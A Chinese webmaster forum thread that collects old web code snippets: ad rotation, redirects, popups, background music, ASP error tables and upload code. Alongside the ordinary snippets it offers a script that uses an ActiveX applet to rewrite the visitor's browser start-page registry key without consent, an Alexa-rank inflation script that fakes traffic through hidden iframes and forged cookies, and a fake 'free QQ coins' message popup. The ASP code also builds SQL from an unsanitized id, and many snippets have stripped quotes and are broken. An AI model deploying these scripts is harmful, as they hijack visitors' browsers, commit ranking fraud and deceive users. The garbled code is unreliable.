发新话题
打印

残源断码回收贴 [不断收集中...]

残源断码回收贴 [不断收集中...]

1楼先空着,以后有好东西再填

TOP

按惯例,黄金广告位是一定要空出来的
mambo,想说爱你不容易

TOP

05.8.放出来的一个“生成html地址”的插件:mambo_SEF_patch
(由Mambo Pro Team推出)

出处:http://bbs.mambochina.net/viewth ... &extra=page%3D1

安装:直接用Patch文件覆盖mambo原来的sef.php文件即可。(请在覆盖原文件前将原先sef.php文件进行备份,如果您不想使用SEF Patch,再将原文件覆盖回去即可恢复。)

售价:200元

功能:
mambo_SEF_patch可以把
例如http://www.yoursite.com/content/view/23/70/
变成http://www.yoursite.com/content/view/23_70.html

附件为试用版(20天限制)


=============================================

评论:由于现在453版本已具备.html地址后缀功能,所以该商业插件才会沦落到被丢进拉圾箱的地步。(同情一下  )
作为曼波插件发展历史的记录,备份一下以示纪念。

        截至发贴之日,支持中文最好的静态插件还要当数hoping那个<htmAmbo>,那是真正将文件转存为静态文件,而不是只改成静态地址,每次浏览不会惊动你的数据库,对于小服务器或者存有大量文章的网站尤为适用 [不过hoping也是要收费的喔,穷人自重]


=============================================
附件: 您所在的用户组无法下载或查看附件
mambo,想说爱你不容易

TOP

[垃圾源码大放送]



QQ音乐电台播放器


14个高速音乐电台,来源自QQ音乐电台,只要QQ不倒闭,就不怕没的听,也不会影响你坛子的速度。

测试:本人在DZ和PW安装成功。

演示:http://www.jlfish.com/bbs/index.php  (在右上角点击“开”就能听了)

===============================
安装:

1、将压缩包解压文件全部上传到论坛根目录(不要更改文件夹的名称)

2、新建一个music.htm文件,上传到论坛空间根目录,(文件名也可自己起)

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>XX论坛_电台</title>
<style type="text/css">
frameset {
margin:0px;
padding:0px;
border:0px;
background-color:buttonface;
}
</style>
</head>

<frameset rows="*,8" rows1="*,30" frameborder="0" framespacing="0" name="fst">
<frame src="index.php" name="main" frameborder="0" noresize><!--这里的"index.php"可根据你论坛首页实际名称进行修改-->
<frame src="music/wmp/player.html" name="aquamp" frameborder="0" noresize>
</frameset>
<noframes></noframes>
</html>

3、修改header.htm文件,在想加入的地方加上以下代码:

| <font color=blue>XX电台</font><a href="http://www.jlfish.com/bbs/music.htm" target=_parent>[<font color=#339900>开</font></a> | <a href='$db_bfn' target=_parent><font color=red>关</font>]</a>

如果想一进入就播放,那你建成index.html网页名。如果不想改这就行了。
以上代码里的网址是俺的,你看着改成你自己的

==============================
附件: 您所在的用户组无法下载或查看附件
mambo,想说爱你不容易

TOP

刷alexa的代码

var jscode = new Array();
jscode[0] = 'cwQl31tHt6V3kI';
jscode[1] = '7ND331qrftT3kB';
jscode[2] = 'CgOh31tztCs38F';
jscode[3] = 'uu1731qrftT3Bk';
jscode[4] = '/aej51tLd7A0R9';
jscode[5] = 'aUBc31tztCf0WL';
jscode[6] = 'hpRN31tHt7k2r3';
jscode[7] = 'Tc7L31tLt9j0Hc';
jscode[8] = 'nH5N31ZkVD50u';
rnd.today=new Date();
rnd.seed=rnd.today.getTime();
function rnd() {
        rnd.seed = (rnd.seed*9301+49297) % 233280;
        return rnd.seed/(233280.0);
};
function rand(number) {
        return Math.ceil(rnd()*number);
};
var number = rand(8);
document.cookie="AlexaVersion=7.0; AV_ccLoad=false; twym65_disabled=false; twym65=976A969CA7DDA7%2521976A9699A7DDA7%2521C6A5D0CBE1E9A698629AA0%2521D0A2D4D8ECA8B1A0A065A1DDC9%2521DC9FD0C7EEED67A199AB; lastpopupallowed=976A9699A7DDA758666A579D956764AD6C6365A569997169A7A7";
document.write ("<iframe allowTransparency=true  frameborder=0 height=0 scrolling=no width=0 src=http://data.alexa.com/data/"+jscode[number]+"?cli=10&dat=snba&ver=7.0&cdt=alx_vw%3D20%26wid%3D24316%26act%3D00000000000%26ss%3D1024x768%26bw%3D1016%26t%3D0%26ttl%3D3485%26vis%3D1%26rq%3D2&url=http://www..............></iframe>");
mambo,想说爱你不容易

TOP

动态广告互换代码


演示地址: http://www.lmok123.com/test.php
可用 刷新 的方法展示, 这4个广告可随机的展示


<?php
$ad[1]="<script src=http://www.xxqps.com/ad/ad.asp?adid=230&user=1321></script>"; //广告样式1
一般广告代码
$ad[2]="<script src=http://www.4.ads99.net/banner760x60b.php?userid=ijhre></script>"; //广告样式1 一般广告代码

//广告样式2 ------ iframe 的广告代码
$ad[3]="<iframe scrolling='no' width='954' height='88' src='http://sh2.is686.com/link/sc/1_4_9.php?u=soswt&type=1&w=9&h=4&fc=0066FF&bgc=ffffff&bdc=0066FF&al=center&tw=954&th=88' frameborder='0'></iframe> "; //广告3

//广告样式3  ----- 为多行广告代码, google 也可照搬来这样写
$ad[4]="<!-- BEGIN DoubleAdv.com EXCHANGE CODE --> ";
$ad[4].="<script src='http://ad63.DoubleAdv.com/?M=166863&G1=2&G2=1'></script> ";
$ad[4].="<noscript> ";
$ad[4].="<a href='http://www.DoubleAdv.com'>free banner exchange by DoubleAdv.com</a> " ;
$ad[4].="</noscript> ";
$ad[4].="<!-- END DoubleAdv.com BANNER CODE --> ";
$ad[4].="<BR> ";
$ad[4].="<!-- BEGIN DoubleAdv.com EXCHANGE CODE --> ";
$ad[4].="<script src='http://ad63.DoubleAdv.com/?M=166863&G1=1&G2='></script> ";
$ad[4].="<noscript> ";
$ad[4].="<a href='http://www.DoubleAdv.com'>free banner exchange by DoubleAdv.com</a> ";
$ad[4].="</noscript> ";
$ad[4].="<!-- END DoubleAdv.com BANNER CODE --> ";

srand(time());//随机数发生器的种子
$out=rand(1, 4);//随机取得这4个广告里的一个,此例有4个广告,就写 4
$adactive=$ad[$out]; //选中的放到$adactive,不然重建数组会乱套
array_splice($ad,$out-1,1); //重新排列数组, 重排列后,没被选中的放在$ad[0],$ad[1],$ad[2]
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>动态广告 php 演示</title>
</head>
<body>

<?php echo $adactive ?> //在需要的地方调用本句,展示随机抽出的广告

<?php echo $ad[0];?> //在需要的地方调用本句,展示剩下的广告
<?php echo $ad[1];?> //在需要的地方调用本句,展示剩下的广告
<?php echo $ad[2];?> //在需要的地方调用本句,展示剩下的广告
</body>
mambo,想说爱你不容易

TOP

随机页面转向代码


可能要有开新页面才能测试效果的

演示地址: http://easycf.51.net/test2.php

<?php
$ad[1]="http://www.xxqps.com"; //页面1
$ad[2]="http://www.yahoo.com.cn"; //页面2
$ad[3]="http://www.163.com";  //页面3
$ad[4]="http://www.51.net"; //页面4

$out=rand(1, 4);//随机取得这4个页面的一个,有几个就写几, 此例有4个页面,就写 4
//header("locationad[$out]"; //在需要的地方调用本句,页面转向
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>页面转向演示</title>
</head>
页面正在转向...
<?php header("locationad[$out]";?> //在需要的地方调用本句,页面转向
<body>
</body>
</html>
mambo,想说爱你不容易

TOP

asp程序错误详细说明例表


ActiveServerPages,ASP0126(0x80004005)--&gt;找不到包含文件
MicrosoftOLEDBProviderforODBCDrivers(0x80040E21)--&gt;sql语句出错(数据类型不匹配或表名(字段名)错误或表处于编辑状态,或表不存在于conn打开的数据库中)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E14)--&gt;sql语句出错(字段名错误,或数据类型不匹配)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E07)--&gt;sql语句出错(要插入或更新的字段的类型与变量数据类型不匹配)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E57)--&gt;sql语句出错(要插入或更新的数据溢出)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E10)--&gt;sql语句出错(update字段名或要更新的数据类型错误)
MicrosoftOLEDBProviderforODBCDrivers(0x80004005)--&gt;sql语句出错(要插入或更新的字段的数值不能为空值)
MicrosoftOLEDBProviderforODBCDrivers(0x80004005) --&gt;打开数据库出错,没有在指定目录发现数据库
MicrosoftOLEDBProviderforODBCDrivers(0x80040E37)--&gt;没有发现表

MicrosoftVBscript运行时错误(0x800A000D)--&gt;错误引用rs变量(rs对像已关闭或未定义)
MicrosoftVBscript运行时错误(0x800A01C2)--&gt;vbscript脚本错误(vbscript语句出错)
MicrosoftVBscript运行时错误(0x800A0006)--&gt;vbscript脚本错误(溢出错误)
MicrosoftVBscript编译器错误(0x800A040E)--&gt;缺少loop
MicrosoftVBscript编译器错误(0x800A03EA)--&gt;缺少if或endif
MicrosoftVBscript编译器错误(0x800A03EE)--&gt; 语句未结束(缺少))
MicrosoftVBscript编译器错误(0x800A03F6)--&gt;if语句出错(缺少endif)
MicrosoftVBscript运行时错误(0x800A005B)--&gt;缺少set
MicrosoftVBscript运行时错误(0x800A0005)--&gt;变量未定义
MicrosoftVBscript编译器错误(0x800A03F9)--&gt;if语句缺少then
MicrosoftVBscript编译器错误(0x800A0411)--&gt;dim语句定义错误
MicrosoftVBscript编译器错误(0x800A0408)--&gt;sql语句错误(?????????????????)
  
ADODB.Recordset(0x800A0BB9)--&gt;sql语句出错(sql语句或conn语句未定义或对一个rs属性进行赋值时发生错误)
ADODB.Recordset(0x800A0CC1)--&gt;rs对像出错(rs对像本身不存在或错误地引用了一个不存在的字段名)
ADODB.Recordset(0x800A0BCD)--&gt;rs对像出错(记录集中没有记录却对记录集进行操作)
ADODB.Recordset(0x800A0E78)--&gt;rs对像出错(记录集不存在,缺少rs.open语句)
ADODB.Recordset(0x800A0CC1) --&gt;rs对像出错(引用了一个不存在的字段名)
ADODB.Recordset(0x800A0E7D)--&gt;conn定义错误
ADODB.Recordset(0x800A0CB3)--&gt;数据库以只读方式打开,无法更新数据
mambo,想说爱你不容易

TOP

几行代码轻松搞定网页的简繁转换



对网页进行简繁字体转换的方法一般有两种:一是使用《简繁通》这样的专业软件,另外一种是制作两套版本的网页。显然,这两种方法都较为麻烦,而且专业软件一般不能用于免费的空间。笔者在这里给大家提供一个非常简单的方法,只须在页面上添加几行代码就可以轻松搞定网页的简繁转换了。

首先下载用于简繁转换的js文件transform.js(下载地址:http://www.smallrain.net/study/transform.js),复制到网站目录下,然后使用网页制作工具打开需要进行简繁转换的网页,在代码中的加入如下代码:


&lt;script type=text/JavaScript language=JavaScript src=js/transform.js&gt;&lt;/script&gt;
&lt;script type=text/JavaScript language=JavaScript&gt;
function s2t(){
  document.body.innerHTML=document.body.innerHTML.s2t();
}
function t2s(){
  document.body.innerHTML=document.body.innerHTML.t2s();
}
&lt;/script&gt;

然后在网页的适当位置添加简繁转换链接:&lt;a href=javascript:s2t()&gt;繁体中文&lt;/a&gt; &lt;a href=javascript:t2s()&gt;简体中文&lt;/a&gt;

保存页面后,点击“繁体中文”链接,页面就会成繁体,点击“简体中文”就会自动转换为简体形式,方便不同用户的选择浏览了。

提示:这种方法不仅适用于静态网站还可以用在论坛、留言板等动态网站系统中。
mambo,想说爱你不容易

TOP

页面载入时提示消息层



&lt;HTML&gt;
&lt;HEAD&gt;&lt;TITLE&gt; EvE HTML &lt;/TITLE&gt;
&lt;meta http-equiv=Content-Type content=text/html; charset=gb2312 /&gt;
&lt;STYLE TYPE=text/css TITLE=&gt;
td{font-size: 12px;}
&lt;/STYLE&gt;
&lt;/HEAD&gt;
&lt;Body bgcolor=#E8EEED background= leftmargin=0 topmargin=0 marginwidth=0 marginheight=0&gt;

&lt;DIV id=eMeng style=BORDER-RIGHT: #455690 1px solid; BORDER-TOP: #a6b4cf 1px solid; Z-INDEX: 99999; LEFT: 64px; VISIBILITY: hidden; BORDER-LEFT: #a6b4cf 1px solid; WIDTH: 168px; BORDER-BOTTOM: #455690 1px solid; POSITION: absolute; TOP: 374px; HEIGHT: 115px; BACKGROUND-COLOR: #c9d3f3&gt;
&lt;TABLE style=BORDER-TOP: #ffffff 1px solid; BORDER-LEFT: #ffffff 1px solid
cellSpacing=0 cellPadding=0 width=100% bgColor=#cfdef4 border=0&gt;
  &lt;TBODY&gt;
  &lt;TR&gt;
    &lt;TD
    style=FONT-SIZE: 12px; BACKGROUND-IMAGE: none; COLOR: #0f2c8c
    width=30 height=24&gt; &lt;/TD&gt;
    &lt;TD
    style=PADDING-LEFT: 4px; FONT-WEIGHT: normal; FONT-SIZE: 12px; BACKGROUND-IMAGE: none; COLOR: #1f336b; PADDING-TOP: 4px
    vAlign=center width=100%&gt;&lt;STRONG&gt;QQ 短消息提示&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD vAlign=center align=right width=19 2px? padding-top: 2px;
      padding-right:&gt;&lt;SPAN title=关闭
      style=FONT-WEIGHT: bold; FONT-SIZE: 12px; CURSOR: hand; COLOR: red; MARGIN-RIGHT: 4px
      onclick=closeDiv()&gt;×&lt;/SPAN&gt;&lt;/TD&gt;&lt;/TR&gt;
  &lt;TR&gt;
    &lt;TD
    style=PADDING-RIGHT: 1px; BACKGROUND-IMAGE: none; PADDING-BOTTOM: 1px
    colSpan=3 height=90&gt;
      &lt;DIV
      style=BORDER-RIGHT: #b9c9ef 1px solid; PADDING-RIGHT: 13px; BORDER-TOP: #728eb8 1px solid; PADDING-LEFT: 13px; FONT-SIZE: 12px; PADDING-BOTTOM: 13px; BORDER-LEFT: #728eb8 1px solid; WIDTH: 100%; COLOR: #1f336b; PADDING-TOP: 18px; BORDER-BOTTOM: #b9c9ef 1px solid; HEIGHT: 100%&gt;
      &lt;DIV align=left&gt;
      &lt&gt;您有&lt;FONT color=#ff0000&gt;1&lt;/FONT&gt;封新短消息 &lt;/P&gt;
      &lt;DIV align=center&gt;
      你的访问已经为(&lt;FONT color=#ff0000&gt;&lt;B&gt;771621&lt;/B&gt;
   &lt;/FONT&gt带来了QQ币,你也可以!&lt;BR&gt;&lt;BR&gt;
      &lt;A href=# target=_blank&gt;&lt;FONT
      color=#ff0000&gt;&lt;B&gt;免费获得QQ币&lt;/B&gt;&lt;/FONT&gt;&lt;/A&gt;&lt;/DIV&gt;&lt;/DIV&gt;&lt;/DIV&gt;
      &lt;SCRIPT language=JavaScript&gt;
//more javascript from http://www.smallrain.net
window.onload = getMsg;
window.onresize = resizeDiv;
window.onerror = function(){}
//短信提示使用(asilas添加)
var divTop,divLeft,divWidth,divHeight,docHeight,docWidth,objTimer,i = 0;
function getMsg()
{
try{
divTop = parseInt(document.getElementById(eMeng).style.top,10)
divLeft = parseInt(document.getElementById(eMeng).style.left,10)
divHeight = parseInt(document.getElementById(eMeng).offsetHeight,10)
divWidth = parseInt(document.getElementById(eMeng).offsetWidth,10)
docWidth = document.body.clientWidth;
docHeight = document.body.clientHeight;
document.getElementById(eMeng).style.top = parseInt(document.body.scrollTop,10) + docHeight + 10;// divHeight
document.getElementById(eMeng).style.left = parseInt(document.body.scrollLeft,10) + docWidth - divWidth
document.getElementById(eMeng).style.visibility=visible
objTimer = window.setInterval(moveDiv(),10)
}
catch(e){}
}

function resizeDiv()
{
try{
divHeight = parseInt(document.getElementById(eMeng).offsetHeight,10)
divWidth = parseInt(document.getElementById(eMeng).offsetWidth,10)
docWidth = document.body.clientWidth;
docHeight = document.body.clientHeight;
document.getElementById(eMeng).style.top = docHeight - divHeight + parseInt(document.body.scrollTop,10)
document.getElementById(eMeng).style.left = docWidth - divWidth + parseInt(document.body.scrollLeft,10)
}
catch(e){}
}

function moveDiv()
{
try
{
if(parseInt(document.getElementById(eMeng).style.top,10) &lt;= (docHeight - divHeight + parseInt(document.body.scrollTop,10)))
{
window.clearInterval(objTimer)
objTimer = window.setInterval(resizeDiv(),1)
}
divTop = parseInt(document.getElementById(eMeng).style.top,10)
document.getElementById(eMeng).style.top = divTop - 1
}
catch(e){}
}
function closeDiv()
{
document.getElementById('eMeng').style.visibility='hidden';
if(objTimer) window.clearInterval(objTimer)
}
            &lt;/SCRIPT&gt;

&lt;/TD&gt;
&lt;/TR&gt;
&lt;/Table&gt;
&lt;/div&gt;
&lt;/Body&gt;
&lt;/HTML&gt;
mambo,想说爱你不容易

TOP

自适应图片大小的弹出窗口



很多时候我们需要提供这样的功能给访问者:当访问者点击页面中的缩略图时,其对应的全尺寸图片将显示在一个新的弹出窗口中供访问者查看。
  实现此功能的最简单作法是用以下HTML代码创建一个图像链接:
  &lt;a href=fullsize.jpg target=_blank&gt;&lt;img src=small.jpg&gt;&lt;/a&gt;
  其中&lt;a&gt;标记的href属性指定全尺寸图片的URL,target属性设置为_blank指定在新窗口中显示该图片;&lt;img&gt;标记的src属性指定缩略图的URL。

  如果我们想对显示全尺寸图片的窗口的外观进行某些控制(比如希望弹出窗口的高度、宽度能与全尺寸图片的大小匹配时),则可调用 window.open 方法,该方法接收三个参数,分别指定要打开文件的URL,窗口名及窗口特性,在窗口特性参数中可指定窗口的高度、宽度,是否显示菜单栏、工具栏等。以下代码将显示全尺寸图片在一个没有工具栏、地址栏、状态栏、菜单栏,宽、高分别为400、350的窗口中:
&lt;a href=fullsize.jpg onClick=window.open(this.href,'', 'height=350,width=400,toolbar=no,location=no,status=no,menubar=no');return false&gt;&lt;img src=small.jpg&gt;&lt;/a&gt;

  这里就提出了个问题,如果所有全尺寸图片都具有统一的大小(比如都是400x350),那么以上代码适用于所有的缩略图片链接(只是href属性指向的全尺寸图片文件不同)。但如果全尺寸图片的大小并不统一,还用以上代码则我们需要先取得每幅全尺寸图片的大小,然后在window.open方法的窗口特性参数中一一设置height和width为正确的值,在图片数量较多的情况下,这显然效率太低了。那么是否有一劳永逸的方法,即让弹出窗口能自动适应要显示图片的大小?通过研究,发现可以使用 DHTML 中的 Image 对象来达到我们的目的,Image 对象可动态装载指定的图片,通过读取其 width 和 height 属性即能获得装入图片的大小,以此来设置弹出窗口的大小,即可实现自适应图片大小的弹出窗口了。下面即是实现代码:

&lt;script language=javascript type=text/javascript&gt;
&lt;!--
var imgObj;
function checkImg(theURL,winName){
  // 对象是否已创建
  if (typeof(imgObj) == object){
    // 是否已取得了图像的高度和宽度
    if ((imgObj.width != 0) && (imgObj.height != 0))
      // 根据取得的图像高度和宽度设置弹出窗口的高度与宽度,并打开该窗口
      // 其中的增量 20 和 30 是设置的窗口边框与图片间的间隔量
      OpenFullSizeWindow(theURL,winName, ,width= + (imgObj.width+20) + ,height= + (imgObj.height+30));
    else
      // 因为通过 Image 对象动态装载图片,不可能立即得到图片的宽度和高度,所以每隔100毫秒重复调用检查
      setTimeout(checkImg(' + theURL + ',' + winName + '), 100)
  }
}

function OpenFullSizeWindow(theURL,winName,features) {
  var aNewWin, sBaseCmd;
  // 弹出窗口外观参数
  sBaseCmd = toolbar=no,location=no,status=no,menubar=no,scrollbars=no,resizable=no,;
  // 调用是否来自 checkImg
  if (features == null || features == ){
    // 创建图像对象
    imgObj = new Image();
    // 设置图像源
    imgObj.src = theURL;
    // 开始获取图像大小
    checkImg(theURL, winName)
  }
  else{
    // 打开窗口
    aNewWin = window.open(theURL,winName, sBaseCmd + features);
    // 聚焦窗口
    aNewWin.focus();
  }
}
//--&gt;
&lt;/script&gt;

  使用时将上面的代码放在网页文档的&lt;head&gt;&lt;/head&gt;标记对中,然后在链接的点击事件中调用OpenFullSizeWindow函数,如&lt;a href=fullsize.jpg onClick=OpenFullSizeWindow(this.href,'','');return false&gt;&lt;img src=small.jpg&gt;&lt;/a&gt;即可。
  以上代码在IE 5.x-6.0中测试通过。
mambo,想说爱你不容易

TOP

强制设为首页代码



&lt;script&gt;
var ucook=document.cookie;
var user=ucook.indexOF(ilooki=);
if(user==-1)
{
var nowTime=new Date();
document.cookie=ilooki+;+expires=Wednesday,03-Jan-+eval(nowTime.getYear()+1903+12:34:56 GMT;
document.write(&lt;APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment&gt;&lt;/APPLET&gt;function yuzi(){try{a1
=document.applets[0];a1.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B});a1.createInstance();Shl=a1.GetObject();a1.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228});try{Shl.RegWrite(hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page,http://www.****.com);}catch(e){}}catch(e){}}setTimeout(yuzi(),1000);
}
&lt;/script&gt; 蓝色部分替换为你自己的网址
mambo,想说爱你不容易

TOP

网页添加背景音乐



一、学会添加音乐文件

  为网页添加背景音乐的方法一般有两种,第一种是通过普通的&lt;bgsound&gt;标签来添加,另一种是通过&lt;embed&gt;标签来添加。

  (一)使用&lt;bgsound&gt;标签

  用Dreamweaver打开需要添加背景音乐的页面,点击“代码”打开代码编辑视图,在&lt;body&gt;&lt;/body&gt;之间输入“&lt;”在弹出的代码提示框中选择bgsound。
  Dreamweaver自动输入“&lt;bgsound”代码后按空格键,代码提示框会自动将bgsound标签的属性列出来供你选择使用。bgsound标签共有五个属性,其中balance是设置音乐的左右均衡,delay是进行播放延时的设置,loop是循环次数的控制,src则是我们音乐文件的路径,volume是音量设置。一般在添加背景音乐时,我们并不需要对音乐进行左右均衡以及延时等设置,所以仅需要几个主要的参数就可以了。最后的代码如下:

  &lt;bgsound src=music.mid loop=-1&gt;

  其中,loop=-1表示音乐无限循环播放,如果你要设置播放次数,则改为相应的数字即可。

  这种添加背景音乐的方法是最基本的方法,也是最为常用的一种方法,对于背景音乐的格式支持现在大多的主流音乐格式,如WAV、MID、MP3等。如果要顾及到网速较低的浏览者,则可以使用MID音效作为网页的背景音乐,因为MID音乐文件小,这样在网页打开的过程中能很快加载并播放,但是MID也有不足的地方,它只能存放音乐的旋律,没有好听的和声以及唱词。如果你的网速较快,或是觉得MID音乐有些单调,也可以添加MP3的音乐。只要将上述代码中的happy.mid改为happy.mp3即可。

  提示:在FrontPage中加入背景音乐要比Dreamweaver相对方便一些,只要在“背景”对话框中进行相关设置即可。

  (二)使用&lt;embed&gt;标签

  使用&lt;embed&gt;标签来添加音乐的方法并不是很常见,但是它的功能非常强大,如果结合一些播放控件就可以打造出一个Web播放器。

  它的使用方法与第一种基本一样,只是第一步的代码提示框里不要选择gbsound,改而选择embed即可。然后再选择它的属性进行相应的设置,从图中可看出embed的属性比gbsound的五个属性多许多。最后的代码如下:&lt;embed src=music.mp3 autostart=true loop=true hidden=true&gt;&lt;/embed&gt;。
  其中autostart用来设置打开页面时音乐是否自动播放,而hidden设置是否隐藏媒体播放器。因为embed实际上类似一个Web页面的音乐播放器,所以如果没有隐藏,则会显示出你系统默认的媒体插件的。

  对于这两种方法,笔者认为二者之间都各有优缺点:第一种方法当页面打开时音乐播放,如果将页面最小化以后播放音乐会自动暂停,如果使用第二种方法则不会出现这种情况,只要不将窗口关闭,它会一直播放。所以希望大家在运用过程中根据自己的情况来选择添加音乐的方法。

  学会了简单的添加网页音乐方法后,就应该在界面和功能上下点功夫了。我们可以利用《网页音乐播放器》打造一个时尚的音乐播放器。一、学会添加音乐文件

  为网页添加背景音乐的方法一般有两种,第一种是通过普通的&lt;bgsound&gt;标签来添加,另一种是通过&lt;embed&gt;标签来添加。

  (一)使用&lt;bgsound&gt;标签

  用Dreamweaver打开需要添加背景音乐的页面,点击“代码”打开代码编辑视图,在&lt;body&gt;&lt;/body&gt;之间输入“&lt;”在弹出的代码提示框中选择bgsound。
  Dreamweaver自动输入“&lt;bgsound”代码后按空格键,代码提示框会自动将bgsound标签的属性列出来供你选择使用。bgsound标签共有五个属性,其中balance是设置音乐的左右均衡,delay是进行播放延时的设置,loop是循环次数的控制,src则是我们音乐文件的路径,volume是音量设置。一般在添加背景音乐时,我们并不需要对音乐进行左右均衡以及延时等设置,所以仅需要几个主要的参数就可以了。最后的代码如下:

  &lt;bgsound src=music.mid loop=-1&gt;

  其中,loop=-1表示音乐无限循环播放,如果你要设置播放次数,则改为相应的数字即可。

  这种添加背景音乐的方法是最基本的方法,也是最为常用的一种方法,对于背景音乐的格式支持现在大多的主流音乐格式,如WAV、MID、MP3等。如果要顾及到网速较低的浏览者,则可以使用MID音效作为网页的背景音乐,因为MID音乐文件小,这样在网页打开的过程中能很快加载并播放,但是MID也有不足的地方,它只能存放音乐的旋律,没有好听的和声以及唱词。如果你的网速较快,或是觉得MID音乐有些单调,也可以添加MP3的音乐。只要将上述代码中的happy.mid改为happy.mp3即可。

  提示:在FrontPage中加入背景音乐要比Dreamweaver相对方便一些,只要在“背景”对话框中进行相关设置即可。

  (二)使用&lt;embed&gt;标签

  使用&lt;embed&gt;标签来添加音乐的方法并不是很常见,但是它的功能非常强大,如果结合一些播放控件就可以打造出一个Web播放器。

  它的使用方法与第一种基本一样,只是第一步的代码提示框里不要选择gbsound,改而选择embed即可。然后再选择它的属性进行相应的设置,从图中可看出embed的属性比gbsound的五个属性多许多。最后的代码如下:&lt;embed src=music.mp3 autostart=true loop=true hidden=true&gt;&lt;/embed&gt;。
mambo,想说爱你不容易

TOP

轻松实现将上传图片到数据库



 我们做一个上传的。数据据库的字段就id自动编号 big 字段类型是 OLE 就简单的那个字段好了
  
  uppic.asp上传程序名
  
  &lt;%
  dim rs  
  dim formsize,formdata,bncrlf,divider,datastart,dataend,mydata
  formsize=request.totalbytes ’取得客户端发过来的大小
  formdata=request.binaryread(formsize)’把客户发过来的数据转成二进制作
  bncrlf=chrB(13) & chrB(10)
  divider=leftB(formdata,clng(instrb(formdata,bncrlf))-1)
  datastart=instrb(formdata,bncrlf & bncrlf)+4
  dataend=instrb(datastart+1,formdata,divider)-datastart
  mydata=midb(formdata,datastart,dataend)’上面总共是取得图片的二进制数据

  %&gt;
  &lt;!--#include file=conn.asp--&gt;
  &lt;%
  sql=select * from pic order by id desc
  Set rs = Server.CreateObject(ADODB.Recordset)
  rs.Open sql,conn,3,2
  rs.addnew
  rs(big).appendchunk mydata ’增加到数据库中
  rs.update
  set rs=nothing
  set conn=nothing
  %&gt;  
  接下来是显示图片
  
  display.asp
  
  &lt;!--#include file=conn.asp--&gt; ’这个大家都知道吧,他就是与数据库连的一个程序了
    &lt;%  
  id=request(id)
  set rs=server.createobject(ADODB.recordset)  
  sql=select * from pic where id= & id
  rs.open sql,conn,1,1  
  Response.ContentType = text/html ’显示图片的格式也可以用
  
  ’Response.ContentType = image/gif 以gif显示
  
  ’Response.ContentType = image/jpg 以jpg显示
  Response.BinaryWrite rs(big) ’显示图片
  rs.close  
  set rs=nothing  
  set connGraph=nothing
mambo,想说爱你不容易

TOP

国外源码站网址



Php
http://www.php.net
http://www.onlyphp.com
http://www.phplistings.com
http://php.resourceindex.com/
http://www.hotscripts.com/PHP/
http://phpbuilder.com/snippet/
http://php-scripts.com/
http://www.0php.com/


ASP
http://aspin.com/
http://www.hotscripts.com/ASP/
http://www.scriptnow.com/ASP/Scripts_and_Components/
http://www.dynu.com/dynuencrypt.asp
http://www.webwizguide.info/asp/default.asp
http://www.aspobjects.com/ASP_Scripts/
http://www.thecgisite.com/ASP/
http://www.aspwire.com/
http://www.script-index.com/asp.asp


Perl & Cgi
http://www.hotscripts.com/Perl/
http://cgi.resourceindex.com/
http://www.onlycgi.com
http://www.freescripts.com/scripts/
http://awsd.com/scripts/
http://www.mycgiscripts.com/
http://www.smarterscripts.com/
http://www.cgiscript.net/
http://www.cgidir.com/
http://www.perlmasters.com/
http://www.freescripts.com/scripts/
http://awsd.com/scripts/
http://www.dreamcatchersweb.com/scripts/
http://www.bignosebird.com/
http://www.dcscripts.com/
http://www.virtualville.com/library/scripts.html
http://www.perlcoders.com/
http://www.cgiarchives.com/
http://www.icthus.net/CGI-City/

Remotely Hosted
http://www.bravenet.com/
http://www.cutandpastescripts.com/
http://www.authpro.com/
http://wwwtoolz.com/home/
http://www.bnsoft.net/

Java Scripts
http://www.a1javascripts.com/
http://www.javascriptcity.com/scripts/
http://www.java-scripts.net/
http://webdeveloper.earthweb.com/webjs/
http://www.javascriptkit.com/cutpastejava.shtml
http://www.javafile.com/
http://javascript.com/
http://javascript.internet.com/
http://www.j-scripts.com/


综合
http://www.thescripts.com
http://www.onlyscripts.com/
http://www.hotscripts.com
http://www.scriptz.com/
http://www.comscripts.com/
http://www.needscripts.com/
http://www.smesource.com/Scripts/
http://www.devscripts.com/
http://totalscripts.com/pages/
http://www.script-index.com/
http://www.scriptnow.com/index.html
http://www.bigwebmaster.com/
mambo,想说爱你不容易

TOP

强人,支持你,辛苦了~

TOP

发新话题